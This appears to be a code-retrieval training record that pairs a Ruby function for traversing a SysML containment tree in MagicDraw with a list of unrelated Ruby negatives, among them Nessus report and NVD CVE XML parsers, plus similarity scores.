@var_to_con[variable].each(&block) if @var_to_con[variable]\n else\n @constraints.each(&block)\n end\n end", "def parametros\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n\n return_value = ParametrosReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n root_0 = nil\n\n __COMA135__ = nil\n valor134 = nil\n valor136 = nil\n\n\n tree_for_COMA135 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 143:4: valor ( COMA valor )*\n @state.following.push( TOKENS_FOLLOWING_valor_IN_parametros_634 )\n valor134 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor134.tree )\n end\n\n # at line 143:10: ( COMA valor )*\n while true # decision 17\n alt_17 = 2\n look_17_0 = @input.peek( 1 )\n\n if ( look_17_0 == COMA )\n alt_17 = 1\n\n end\n case alt_17\n when 1\n # at line 143:11: COMA valor\n __COMA135__ = match( COMA, TOKENS_FOLLOWING_COMA_IN_parametros_637 )\n if @state.backtracking == 0\n tree_for_COMA135 = @adaptor.create_with_payload( __COMA135__ )\n @adaptor.add_child( root_0, tree_for_COMA135 )\n\n end\n\n @state.following.push( TOKENS_FOLLOWING_valor_IN_parametros_639 )\n valor136 = valor\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, valor136.tree )\n end\n\n\n else\n break # out of loop for decision 17\n end\n end # loop for decision 17\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n if @state.backtracking == 0\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n\n end\n\n return return_value\n end", "def calculate\n candidates = []\n\n generalized_cause = NLU::Generalization.new(symbols: @symbols).generalize(@cause)\n\n #ap \"sentence: #{cause_sentence}\"\n #ap \"learned: #{@learned.inspect}\"\n\n # We go through everything that was learned before\n @learned.each do |function_name, criteria|\n criteria[:generalizations].each do |generalization|\n\n # We generate a pre-candidate for this generalization. It starts\n # with score zero because we don't know yet whether this criteria\n # fits the sentence or not.\n local_candidate = {\n fn: function_name,\n attrs: { },\n score: 0.0\n }\n\n #ap \"generalized_cause #{generalized_cause}\"\n\n # We then generalize the cause sentence and go through it.\n # We will match *each* learned generalization against the cause\n # generalization.\n generalized_cause.each_with_index do |cause_rule, cause_index|\n\n\n # Wildcard\n #\n # Matches these:\n #\n # > i want a [type:wildcard:some_name_for_this_wildcard]\n # > i want a ford\n #\n wildcard = \"[#{NLU::Generalization::RESERVED_TYPES[:wildcard]}]\"\n #ap \"wildcard: #{wildcard}\"\n wildcard_regex = Regexp.escape(wildcard)\n if generalization =~ /wildcard/i\n wildcard_generalization = generalization\n .gsub(/\\[(type:wildcard)(.+)\\]/i, '[\\1]')\n end\n #ap \"wildcard_generalization(#{wildcard_generalization}) =~ cause_rule(#{wildcard_regex})\"\n if wildcard_generalization.to_s =~ Regexp.new(wildcard_regex, Regexp::IGNORECASE)\n #ap \"true -> #{wildcard_generalization} =~ /#{Regexp.new(wildcard_regex, Regexp::IGNORECASE)}/i\"\n\n rule = wildcard_generalization.gsub(\"#{wildcard}\", \"(.+)\")\n #ap \"rule #{rule}\"\n #binding.pry\n if value = cause_sentence.join(\" \").match(Regexp.new(rule, Regexp::IGNORECASE))\n value = value[-1]\n prop = attr_name_from_type_param(generalization)\n\n local_candidate = local_candidate.merge({\n attrs: {\n prop => value\n },\n score: 0.75\n })\n end\n\n # If we find a learned generalization that matches the generalized\n # sentence, we will save it.\n elsif generalization == cause_rule\n cause_rule.split(\" \").each_with_index do |typed_string, index|\n\n # If the learned generalization has a type anywhere, we will\n # check what is the corresponding word in the cause sentence.\n #\n # For example, consider the following sentence:\n #\n # [type:subject] want a [type:make]\n #\n # and the sentence\n #\n # I want a ford\n #\n # Finding `[type:make]` at position 3 of the array, we will\n # get `ford` at the position 3 of the cause sentence. With\n # that we can come up with `{make: 'ford'}`.\n #\n if typed_string =~ /\\[type/i\n local_candidate[:score] += 1\n type = attr_name_from_type_param(typed_string)\n prop = type_properties(type)\n type_token_length = prop[:token_length]\n\n # In `i want a car`, this will get the `i`. If the type\n # says instead that it's formed by two symbols (e.g\n # `i want`), then it will take `i want`.\n #\n # The -1 in the brackets is because otherwise it would be\n # translated to the following if the type had 1 symbol\n #\n # cause_sentence[1..1+1]\n #\n # That would take 2 words (`[1..2]`). We want one word, so\n #\n # cause_sentence[1..1+1-1]\n #\n word_for_type = cause_sentence[index..index+(type_token_length-1)]\n #ap \"> type: #{type} - #{index} #{cause_sentence[index..index+type_token_length]}\"\n\n local_candidate[:attrs][type] = word_for_type.join(\" \")\n\n # When it's just the same sentence as one seen before, no\n # generalizations\n else\n local_candidate[:score] = 1\n end\n end\n\n end\n end\n\n if local_candidate[:score] > 0\n candidates << local_candidate\n end\n end\n end\n\n # TODO - normalization is taking out some elements that are good.\n #candidates = normalize_scores(candidates)\n candidates = pick_candidates(candidates)\n candidates = merge_attributes(candidates)\n\n candidates\n end", "def check_formal_redefined(ast_class_name, method_name, formals, formal)\n\t# Get all formals with same name in list\n\tduplicates = formals.select{|x| x.name == formal.name}\n\tif duplicates.length > 1\n\t\tduplicate = duplicates[1]\n\t\tline_number = duplicate.name_line\n\t\tmessage = \"class #{ast_class_name} has method #{method_name} with duplicate formal parameter named #{duplicate.name}\"\n\t\ttype_error(line_number, message)\t\n\tend\nend", "def check_formal_redefined(ast_class_name, method_name, formals, formal)\n\t# Get all formals with same name in list\n\tduplicates = formals.select{|x| x.name == formal.name}\n\tif duplicates.length > 1\n\t\tduplicate = duplicates[1]\n\t\tline_number = duplicate.name_line\n\t\tmessage = \"class #{ast_class_name} has method #{method_name} with duplicate formal parameter named #{duplicate.name}\"\n\t\ttype_error(line_number, message)\t\n\tend\nend", "def test_negative_case\n #Open the page\n @driver.get(@base_url)\n\n #Click on the submit button without filling out the mandatory forms\n submitButton = @driver.find_element(:xpath, @loc.submitButton)\n submitButton.click\n\n #Verify that the required indicators are displayed for the mandatory fields\n reqText = @driver.find_element(:xpath,@loc.reqText)\n #name box input field would not have the required indicator as it should \n #automatically become active for input when submission is made without mandatory fields filled out\n nameBoxActive = @driver.find_element(:xpath,@loc.nameBoxActive)\n enjoyDevReq = @driver.find_element(:xpath,@loc.enjoyDevReq)\n enjoyDevReqTxt = @driver.find_element(:xpath,@loc.enjoyDevReqTxt)\n\n #Verify that required text is displayed at the top\n assert_equal(true, reqText.displayed?) \n #Verify that the name box does not show the required indicator as it is currently cursor-active\n assert_equal(true, nameBoxActive.displayed?) \n #Verify that the red box highlight indicator is applied for the 'do you enjoy dev? question\n assert_equal(true, enjoyDevReq.displayed?) \n #Verify that the 'This is a required question' text appears below the do you enjoy \n #developement section's checkboxes\n assert_equal(true, enjoyDevReqTxt.displayed?)\n\n #click elsewhere on the page to confirm that the name box field also has the required indicator\n enjoyDevReq.click\n #Verify that the red box highlight indicator is displayed for the name input field\n nameBoxReq = @driver.find_element(:xpath, @loc.nameBoxReq)\n assert_equal(true, nameBoxReq.displayed?)\n #Verify that the 'This is a required question' text appears below the name input field\n nameBoxReqTxt = @driver.find_element(:xpath,@loc.nameBoxReqTxt)\n assert_equal(true, nameBoxReq.displayed?) \n end", "def check_constraints_for_r\n check_constraint(\"-r\", \"-t\", :time)\n check_constraint(\"-r\", \"-i\", :index)\n end", "def element_params\n params.require(:element).permit(:tag, :process_order, :product_type_id, :drying_method_id, :previous_color, :ex_tag, :lot, :first_item, :last_item)\n end", "def e_required\n ElementReqs_::Required\n end" ]
[ "0.5749455", "0.44763222", "0.44315758", "0.4352625", "0.4322531", "0.43136698", "0.43060756", "0.43060756", "0.42866355", "0.4275223", "0.42378175", "0.42247254", "0.42140144", "0.41912305", "0.41748738", "0.41725275", "0.41723344", "0.416857", "0.4160564", "0.4095127", "0.4082457", "0.40658692", "0.40586", "0.40473112", "0.40453634", "0.40405574", "0.403467", "0.39983124", "0.39963946", "0.39922684", "0.39854395", "0.3977053", "0.3969384", "0.39671287", "0.39561355", "0.3943656", "0.39406812", "0.3933909", "0.39298", "0.3929007", "0.39116305", "0.39112246", "0.39109215", "0.39087656", "0.3890588", "0.3880933", "0.3879629", "0.38687697", "0.3863326", "0.38457027", "0.38392282", "0.3824769", "0.38200584", "0.3816622", "0.38141617", "0.381063", "0.38105014", "0.37958106", "0.37860036", "0.37854466", "0.3777179", "0.37719446", "0.37675804", "0.37675804", "0.37666312", "0.37651232", "0.37651232", "0.37651232", "0.37604442", "0.37594113", "0.37465787", "0.37455866", "0.37373978", "0.3726758", "0.3721096", "0.37130743", "0.3710681", "0.37102827", "0.37081644", "0.3706611", "0.37038866", "0.37006605", "0.36944357", "0.3690454", "0.36895823", "0.36887363", "0.3677504", "0.3677504", "0.3677504", "0.3677504", "0.36763054", "0.36753294", "0.36729357", "0.36727268", "0.36720917", "0.36720917", "0.36705765", "0.36690152", "0.36689043", "0.3667979" ]
0.6318507
0
This function executes the function looking for all refining parameters for a VerficationElement and then parses through all owned elements from the given one. Params: +element+:: SysML element from the containment tree.
def recursiveTreeTraversal(element) if StereotypesHelper.hasStereotype(element, $veStereotype) findRefinedParameters(element) end for child in element.getOwnedElement() recursiveTreeTraversal(child) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def findRefinedParameters(element)\n for relation in element.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $veRelationshipStereotype)\n req = ModelHelper.getSupplierElement(relation)\n for relation in req.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $refineStereotype)\n ce = ModelHelper.getClientElement(relation)\n if StereotypesHelper.hasStereotype(ce, $ceStereotype)\n badval = false\n constraint = ce.get_constraintOfConstrainedElement().get(0)\n expression = constraint.getSpecification().getBody().get(0)\n paramUnit = StereotypesHelper.getStereotypePropertyFirst(ce, $ceStereotype, \"unit\")\n unless paramUnit.respond_to?(:name)\n $logger.log(ce.getName() + \": Missing unit\")\n badval = true\n end\n unless expression != nil\n $logger.log(ce.getName() + \": No expression found!\")\n badval = true\n end\n if badval\n reqId = StereotypesHelper.getStereotypePropertyFirst(req, $requirementStereotype, 'Id')\n $logger.log(\"Requirement Id: \" + reqId.to_s)\n end\n end\n end\n end\n end\n end\nend", "def recursiveTreeTraversal(element)\n if StereotypesHelper.hasStereotype(element, $veStereotype)\n findOrCreateRefinedParameters(element)\n end\n for child in element.getOwnedElement()\n recursiveTreeTraversal(child)\n end\nend", "def findOrCreateRefinedParameters(element)\n $logger.log(element.getName())\n refinedParams = []\n for relation in element.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $veRelationshipStereotype)\n req = ModelHelper.getSupplierElement(relation)\n for relation in req.get_relationshipOfRelatedElement()\n if StereotypesHelper.hasStereotype(relation, $refineStereotype)\n ce = ModelHelper.getClientElement(relation)\n if StereotypesHelper.hasStereotype(ce, $ceStereotype)\n badval = false\n constraint = ce.get_constraintOfConstrainedElement().get(0)\n expression = constraint.getSpecification().getBody().get(0)\n paramUnit = StereotypesHelper.getStereotypePropertyFirst(ce, $ceStereotype, \"unit\")\n if paramUnit.respond_to?(:name)\n paramUnit = paramUnit.name\n else\n paramUnit = \"\"\n $logger.log(ce.getName() + \": Missing unit\")\n badval = true\n end\n if expression != nil\n output = expression + \"[\" + paramUnit + \"]\"\n refinedParams.push(output)\n else \n $logger.log(ce.getName() + \": No expression found!\")\n badval = true\n end\n if badval\n reqId = StereotypesHelper.getStereotypePropertyFirst(req, $requirementStereotype, 'Id')\n $logger.log(\"Requirement Id: \" + reqId.to_s)\n end\n end\n end\n end\n end\n end\n if refinedParams.size == 0\n $logger.log(\"No refined parameters\")\n else\n original = StereotypesHelper.getStereotypePropertyFirst(element, $veStereotype, $refinedParametersProp)\n # 10.chr creates line separator for MagicDraw string view\n textBlock = refinedParams.join(10.chr)\n # Add text block to VE\n if original != textBlock\n #$logger.log(textBlock.to_s)\n StereotypesHelper.setStereotypePropertyValue(element, $veStereotype, $refinedParametersProp, textBlock)\n else\n $logger.log(\"No change in refined parameters.\")\n end\n end\nend", "def on_start_element(element, attributes)\n\t\t\t\t\t@tag = element\n\t\t\t\t\t@vals[@tag] = \"\"\n\n\t\t\t\t\tif !@valid_elements.include?(element)\n\t\t\t\t\t\tputs \"New XML element detected: #{element}. Please report this at #{Risu::GITHUB}/issues/new or via email to #{Risu::EMAIL}\"\n\t\t\t\t\tend\n\n\t\t\t\t\tcase element\n\t\t\t\t\t\twhen \"Policy\"\n\t\t\t\t\t\t\t@policy = Risu::Models::Policy.create\n\t\t\t\t\t\t\t@policy.save\n\t\t\t\t\t\twhen \"preference\"\n\t\t\t\t\t\t\t@sp = @policy.server_preferences.create\n\t\t\t\t\t\t\t@sp.save\n\t\t\t\t\t\twhen \"item\"\n\t\t\t\t\t\t\t@item = @policy.plugins_preferences.create\n\t\t\t\t\t\t\t@item.save\n\t\t\t\t\t\twhen \"FamilyItem\"\n\t\t\t\t\t\t\t@family = @policy.family_selections.create\n\t\t\t\t\t\t\t@family.save\n\t\t\t\t\t\twhen \"PluginItem\"\n\t\t\t\t\t\t\t@plugin_selection = @policy.individual_plugin_selections.create\n\t\t\t\t\t\t\t@plugin_selection.save\n\t\t\t\t\t\twhen \"Report\"\n\t\t\t\t\t\t\t@report = @policy.reports.create\n\t\t\t\t\t\t\t@report.name = attributes[\"name\"]\n\t\t\t\t\t\t\t@report.save\n\t\t\t\t\t\twhen \"ReportHost\"\n\t\t\t\t\t\t\t@rh = @report.hosts.create\n\t\t\t\t\t\t\t@rh.name = attributes[\"name\"]\n\t\t\t\t\t\t\t@rh.save\n\t\t\t\t\t\twhen \"tag\"\n\t\t\t\t\t\t\t@attr = nil\n\t\t\t\t\t\t\t@hp = @rh.host_properties.create\n\n\t\t\t\t\t\t\tif attributes[\"name\"] =~ /[M|m][S|s]\\d{2,}-\\d{2,}/\n\t\t\t\t\t\t\t\t@attr = if attributes[\"name\"] =~ /[M|m][S|s]\\d{2,}-\\d{2,}/\n\t\t\t\t\t\t\t\t\t\t\tattributes[\"name\"]\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\tnil\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t#Ugly as fuck. Really this needs to be rewritten. Fuck.\n\t\t\t\t\t\t\telsif attributes['name'] =~ /patch-summary-cve-num/ ||\n\t\t\t\t\t\t\t\tattributes['name'] =~ /patch-summary-cves/ ||\n\t\t\t\t\t\t\t\tattributes['name'] =~ /patch-summary-txt/ ||\n\t\t\t\t\t\t\t\tattributes['name'] =~ /cpe-\\d+/ ||\n\t\t\t\t\t\t\t\tattributes['name'] =~ /KB\\d+/\n\t\t\t\t\t\t\t\t@attr = if attributes[\"name\"] =~ /patch-summary-cve-num/ ||\n\t\t\t\t\t\t\t\tattributes['name'] =~ /patch-summary-cves/ ||\n\t\t\t\t\t\t\t\tattributes['name'] =~ /patch-summary-txt/ ||\n\t\t\t\t\t\t\t\tattributes['name'] =~ /cpe-\\d+/ ||\n\t\t\t\t\t\t\t\tattributes['name'] =~ /KB\\d+/\n\t\t\t\t\t\t\t\t\t\t\tattributes[\"name\"]\n\t\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\t\tnil\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@attr = if @valid_host_properties.include?(attributes[\"name\"])\n\t\t\t\t\t\t\t\t\tattributes[\"name\"]\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tnil\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t# implicit nil check?\n\t\t\t\t\t\t\tif attributes[\"name\"] !~ /(netstat-(?:established|listen)-(?:tcp|udp)\\d+-\\d+)/ && attributes[\"name\"] !~ /traceroute-hop-\\d+/\n\t\t\t\t\t\t\t\tputs \"New HostProperties attribute: #{attributes[\"name\"]}. Please report this at #{Risu::GITHUB}/issues/new or via email to #{Risu::EMAIL}\\n\" if @attr.nil?\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\twhen \"ReportItem\"\n\t\t\t\t\t\t\t@vals = Hash.new # have to clear this out or everything has the same references\n\t\t\t\t\t\t\t@ri = @rh.items.create\n\t\t\t\t\t\t\tif attributes[\"pluginID\"] == \"0\"\n\t\t\t\t\t\t\t\t@plugin = Risu::Models::Plugin.find_or_create_by(:id => 1)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@plugin = Risu::Models::Plugin.find_or_create_by(:id => attributes[\"pluginID\"])\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\t@ri.port = attributes[\"port\"]\n\t\t\t\t\t\t\t@ri.svc_name = attributes[\"svc_name\"]\n\t\t\t\t\t\t\t@ri.protocol = attributes[\"protocol\"]\n\t\t\t\t\t\t\t@ri.severity = attributes[\"severity\"]\n\n\t\t\t\t\t\t\t@ri.plugin_id = @plugin.id\n\t\t\t\t\t\t\t@plugin.plugin_name = attributes[\"pluginName\"]\n\t\t\t\t\t\t\t@plugin.family_name = attributes[\"pluginFamily\"]\n\t\t\t\t\t\t\t@plugin.save\n\t\t\t\t\t\t\t@ri.save\n\t\t\t\t\t\twhen \"attachment\"\n\t\t\t\t\t\t\t@attachment = @ri.attachments.create\n\t\t\t\t\t\t\t@attachment.name = attributes['name']\n\t\t\t\t\t\t\t@attachment.type = attributes['type']\n\t\t\t\t\t\t\t@attachment.save\n\t\t\t\t\tend\n\t\t\t\tend", "def on_end_element(element)\n\t\t\t\t\t@tag = nil\n\t\t\t\t\tcase element\n\t\t\t\t\t\twhen \"policyName\"\n\t\t\t\t\t\t\t@policy.attributes = {\n\t\t\t\t\t\t\t\t:name => @vals[\"policyName\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t@policy.save\n\n\t\t\t\t\t\twhen \"policyComments\"\n\t\t\t\t\t\t\t@policy.attributes = {\n\t\t\t\t\t\t\t\t:comments => @vals[\"policyComments\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t@policy.save\n\n\t\t\t\t\t\twhen \"policy_comments\"\n\t\t\t\t\t\t\t@policy.attributes = {\n\t\t\t\t\t\t\t\t:comments => @vals[\"policy_comments\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t@policy.save\n\n\t\t\t\t\t\twhen \"policyOwner\"\n\t\t\t\t\t\t\t@policy.attributes = {\n\t\t\t\t\t\t\t\t:owner => @vals[\"policyOwner\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t@policy.save\n\n\t\t\t\t\t\twhen \"visibility\"\n\t\t\t\t\t\t\t@policy.attributes = {\n\t\t\t\t\t\t\t\t:visibility => @vals[\"visibility\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t@policy.save\n\n\t\t\t\t\t\twhen \"preference\"\n\t\t\t\t\t\t\t@sp.attributes = {\n\t\t\t\t\t\t\t\t:name => @vals[\"name\"],\n\t\t\t\t\t\t\t\t:value => @vals[\"value\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t@sp.save\n\n\t\t\t\t\t\t\t#This takes a really long time, there is about 34,000 pluginIDs in this\n\t\t\t\t\t\t\t#field and it takes about 36 minutes to parse just this info =\\\n\t\t\t\t\t\t\t#lets pre-populate the plugins table with the known plugin_id's\n\t\t\t\t\t\t\t#if @vals[\"name\"] == \"plugin_set\"\n\t\t\t\t\t\t\t#\t @all_plugins = @vals[\"value\"].split(\";\")\n\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\t#\t @all_plugins.each { |p|\n\t\t\t\t\t\t\t#\t\t\t@plug = Plugin.find_or_create_by_id(p)\n\t\t\t\t\t\t\t#\t\t\t@plug.save\n\t\t\t\t\t\t\t#\t }\n\t\t\t\t\t\t\t#end\n\t\t\t\t\t\twhen \"item\"\n\t\t\t\t\t\t\t@item.attributes = {\n\t\t\t\t\t\t\t\t:plugin_name => @vals[\"pluginName\"],\n\t\t\t\t\t\t\t\t:plugin_id => @vals[\"pluginId\"],\n\t\t\t\t\t\t\t\t:fullname => @vals[\"fullName\"],\n\t\t\t\t\t\t\t\t:preference_name => @vals[\"preferenceName\"],\n\t\t\t\t\t\t\t\t:preference_type => @vals[\"preferenceType\"],\n\t\t\t\t\t\t\t\t:preference_values => @vals[\"preferenceValues\"],\n\t\t\t\t\t\t\t\t:selected_values => @vals[\"selectedValue\"]\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t@item.save\n\t\t\t\t\t\twhen \"FamilyItem\"\n\t\t\t\t\t\t\t@family.attributes = {\n\t\t\t\t\t\t\t\t:family_name => @vals[\"FamilyName\"],\n\t\t\t\t\t\t\t\t:status => @vals[\"Status\"]\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t@family.save\n\t\t\t\t\t\twhen \"PluginItem\"\n\t\t\t\t\t\t\t@plugin_selection.attributes = {\n\t\t\t\t\t\t\t\t:plugin_id => @vals[\"PluginId\"],\n\t\t\t\t\t\t\t\t:plugin_name => @vals[\"PluginName\"],\n\t\t\t\t\t\t\t\t:family => @vals[\"Family\"],\n\t\t\t\t\t\t\t\t:status => @vals[\"Status\"]\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t@plugin_selection.save\n\t\t\t\t\t\twhen \"tag\"\n\t\t\t\t\t\t\tif @attr =~ /[M|m][S|s]\\d{2}-\\d{2,}/\n\t\t\t\t\t\t\t\t@patch = @rh.patches.create\n\t\t\t\t\t\t\t\t@patch.name = @attr\n\t\t\t\t\t\t\t\t@patch.value = @vals['tag']\n\t\t\t\t\t\t\t\t@patch.save\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@rh.attributes = {@host_properties_mapping[@attr] => @vals[\"tag\"].gsub(\"\\n\", \",\") } if @host_properties_mapping.keys.include?(@attr)\n\t\t\t\t\t\t\t\t@rh.save\n\n\t\t\t\t\t\t\t\t@hp.name = @attr\n\t\t\t\t\t\t\t\t@hp.value = @vals['tag']\n\t\t\t\t\t\t\t\t@hp.save\n\n\t\t\t\t\t\t\tend if @attr != nil\n\t\t\t\t\t\t#We cannot handle the references in the same block as the rest of the ReportItem tag because\n\t\t\t\t\t\t#there tends to be more than of the different types of reference per ReportItem, this causes issue for a sax\n\t\t\t\t\t\t#parser. To solve this we do the references before the final plugin data, Valid references must be added\n\t\t\t\t\t\t#the @valid_reference array at the top to be parsed.\n\t\t\t\t\t\t# *@valid_reference, does a 'when' on each element of the @valid_references array, pure magic\n\t\t\t\t\t\twhen *@valid_references\n\t\t\t\t\t\t\t@ref = @plugin.references.create\n\t\t\t\t\t\t\t@ref.reference_name = element\n\t\t\t\t\t\t\t@ref.value = @vals[\"#{element}\"]\n\t\t\t\t\t\t\t@ref.save\n\t\t\t\t\t\twhen \"ReportItem\"\n\t\t\t\t\t\t\t@ri.plugin_output = @vals[\"plugin_output\"]\n\t\t\t\t\t\t\t@ri.plugin_name = @vals[\"plugin_name\"]\n\t\t\t\t\t\t\t@ri.cm_compliance_info = @vals[\"cm:compliance-info\"]\n\t\t\t\t\t\t\t@ri.cm_compliance_actual_value = @vals[\"cm:compliance-actual-value\"]\n\t\t\t\t\t\t\t@ri.cm_compliance_check_id = @vals[\"cm:compliance-check-id\"]\n\t\t\t\t\t\t\t@ri.cm_compliance_policy_value= @vals[\"cm:compliance-policy-value\"]\n\t\t\t\t\t\t\t@ri.cm_compliance_audit_file = @vals[\"cm:compliance-audit-file\"]\n\t\t\t\t\t\t\t@ri.cm_compliance_check_name = @vals[\"cm:compliance-check-name\"]\n\t\t\t\t\t\t\t@ri.cm_compliance_result = @vals[\"cm:compliance-result\"]\n\t\t\t\t\t\t\t@ri.cm_compliance_output = @vals[\"cm:compliance-output\"]\n\n\t\t\t\t\t\t\t@ri.save\n\n\t\t\t\t\t\t\t@plugin.attributes = {\n\t\t\t\t\t\t\t\t:solution => @vals[\"solution\"],\n\t\t\t\t\t\t\t\t:risk_factor => @vals[\"risk_factor\"],\n\t\t\t\t\t\t\t\t:description => @vals[\"description\"],\n\t\t\t\t\t\t\t\t:plugin_publication_date => @vals[\"plugin_publication_date\"],\n\t\t\t\t\t\t\t\t:plugin_modification_date => @vals[\"plugin_modification_date\"],\n\t\t\t\t\t\t\t\t:synopsis => @vals[\"synopsis\"],\n\t\t\t\t\t\t\t\t:plugin_type => @vals[\"plugin_type\"],\n\t\t\t\t\t\t\t\t:cvss_vector => @vals[\"cvss_vector\"],\n\t\t\t\t\t\t\t\t:cvss_base_score => @vals[\"cvss_base_score\"].to_f,\n\t\t\t\t\t\t\t\t:vuln_publication_date => @vals[\"vuln_publication_date\"],\n\t\t\t\t\t\t\t\t:plugin_version => @vals[\"plugin_version\"],\n\t\t\t\t\t\t\t\t:cvss_temporal_score => @vals[\"cvss_temporal_score\"],\n\t\t\t\t\t\t\t\t:cvss_temporal_vector => @vals[\"cvss_temporal_vector\"],\n\t\t\t\t\t\t\t\t:exploitability_ease => @vals[\"exploitability_ease\"],\n\t\t\t\t\t\t\t\t:exploit_framework_core => @vals[\"exploit_framework_core\"],\n\t\t\t\t\t\t\t\t:exploit_available => @vals[\"exploit_available\"],\n\t\t\t\t\t\t\t\t:exploit_framework_metasploit => @vals[\"exploit_framework_metasploit\"],\n\t\t\t\t\t\t\t\t:metasploit_name => @vals[\"metasploit_name\"],\n\t\t\t\t\t\t\t\t:exploit_framework_canvas => @vals[\"exploit_framework_canvas\"],\n\t\t\t\t\t\t\t\t:canvas_package => @vals[\"canvas_package\"],\n\t\t\t\t\t\t\t\t:exploit_framework_exploithub => @vals[\"exploit_framework_exploithub\"],\n\t\t\t\t\t\t\t\t:exploithub_sku => @vals[\"exploithub_sku\"],\n\t\t\t\t\t\t\t\t:stig_severity => @vals[\"stig_severity\"],\n\t\t\t\t\t\t\t\t:fname => @vals[\"fname\"],\n\t\t\t\t\t\t\t\t:always_run => @vals[\"always_run\"],\n\t\t\t\t\t\t\t\t:script_version => @vals[\"script_version\"],\n\t\t\t\t\t\t\t\t:exploited_by_malware => @vals[\"exploited_by_malware\"],\n\t\t\t\t\t\t\t\t:compliance => @vals[\"compliance\"]\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t@plugin.save\n\t\t\t\t\t\twhen \"attachment\"\n\t\t\t\t\t\t\t@attachment.attributes = {\n\t\t\t\t\t\t\t\t:ahash => @vals['attachment']\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t@attachment.save\n\t\t\t\t\tend\n\t\t\t\tend", "def prepare_element(element)\n class_name = element.class.to_s.downcase\n #$logger.info \"[+] Preparing a #{class_name} with attributes\\n#{element.inspect}\"\n method_name = \"prepare_#{class_name}\"\n clean_element(element)\n\n send(method_name, element) if element.visible?\n end", "def end_element(element)\n\t\t\t\t#puts \"End element: #{element}\"\n\t\t\t\t@tag = nil\n\t\t\t\tcase element\n\t\t\t\t\twhen \"vuln:cve-id\"\n\t\t\t\t\t\t@entry.attributes = { :cve => @vals[\"vuln:cve-id\"] }\n\t\t\t\t\t\t@entry.save\n\n\t\t\t\t\twhen \"vuln:published-datetime\"\n\t\t\t\t\t\t@entry.attributes = { :published_datetime => @vals[\"vuln:published-datetime\"]\t}\n\t\t\t\t\t\t@entry.save\n\n\t\t\t\t\twhen \"vuln:last-modified-datetime\"\n\t\t\t\t\t\t@entry.attributes = { :last_modified_datetime => @vals[\"vuln:last-modified-datetime\"]\t}\n\t\t\t\t\t\t@entry.save\n\n\t\t\t\t\twhen \"vuln:summary\"\n\t\t\t\t\t\t@entry.attributes = { :summary => @vals[\"vuln:summary\"] }\n\t\t\t\t\t\t@entry.save\n\n\t\t\t\t\twhen \"vuln:security-protection\"\n\t\t\t\t\t\t@entry.attributes = { :security_protection => @vals[\"vuln:security-protection\"]}\n\t\t\t\t\t\t@entry.save\n\n\t\t\t\t\twhen \"vuln:product\"\n\t\t\t\t\t\t@product = @entry.vulnerable_software_lists.create\n\t\t\t\t\t\t@product.attributes = { :product => @vals[\"vuln:product\"] }\n\t\t\t\t\t\t@product.save\n\n\t\t\t\t\twhen \"vuln:cvss\"\n\t\t\t\t\t\t@cvss.attributes = {\n\t\t\t\t\t\t\t:score => @vals[\"cvss:score\"],\n\t\t\t\t\t\t\t:access_vector => @vals[\"cvss:access-vector\"],\n\t\t\t\t\t\t\t:access_complexity => @vals[\"cvss:access-complexity\"],\n\t\t\t\t\t\t\t:authenication => @vals[\"cvss:authentication\"],\n\t\t\t\t\t\t\t:confidentiality_impact => @vals[\"cvss:confidentiality-impact\"],\n\t\t\t\t\t\t\t:integrity_impact => @vals[\"cvss:integrity-impact\"],\n\t\t\t\t\t\t\t:availability_impact => @vals[\"cvss:availability-impact\"],\n\t\t\t\t\t\t\t:source => @vals[\"cvss:source\"],\n\t\t\t\t\t\t\t:generated_on_datetime => @vals[\"cvss:generated-on-datetime\"]\n\t\t\t\t\t\t}\n\t\t\t\t\t\t@cvss.save\n\n\t\t\t\t\twhen \"vuln:references\"\n\t\t\t\t\t\t@reference.attributes = {\n\t\t\t\t\t\t\t:source => @vals[\"vuln:source\"],\n\t\t\t\t\t\t\t:reference => 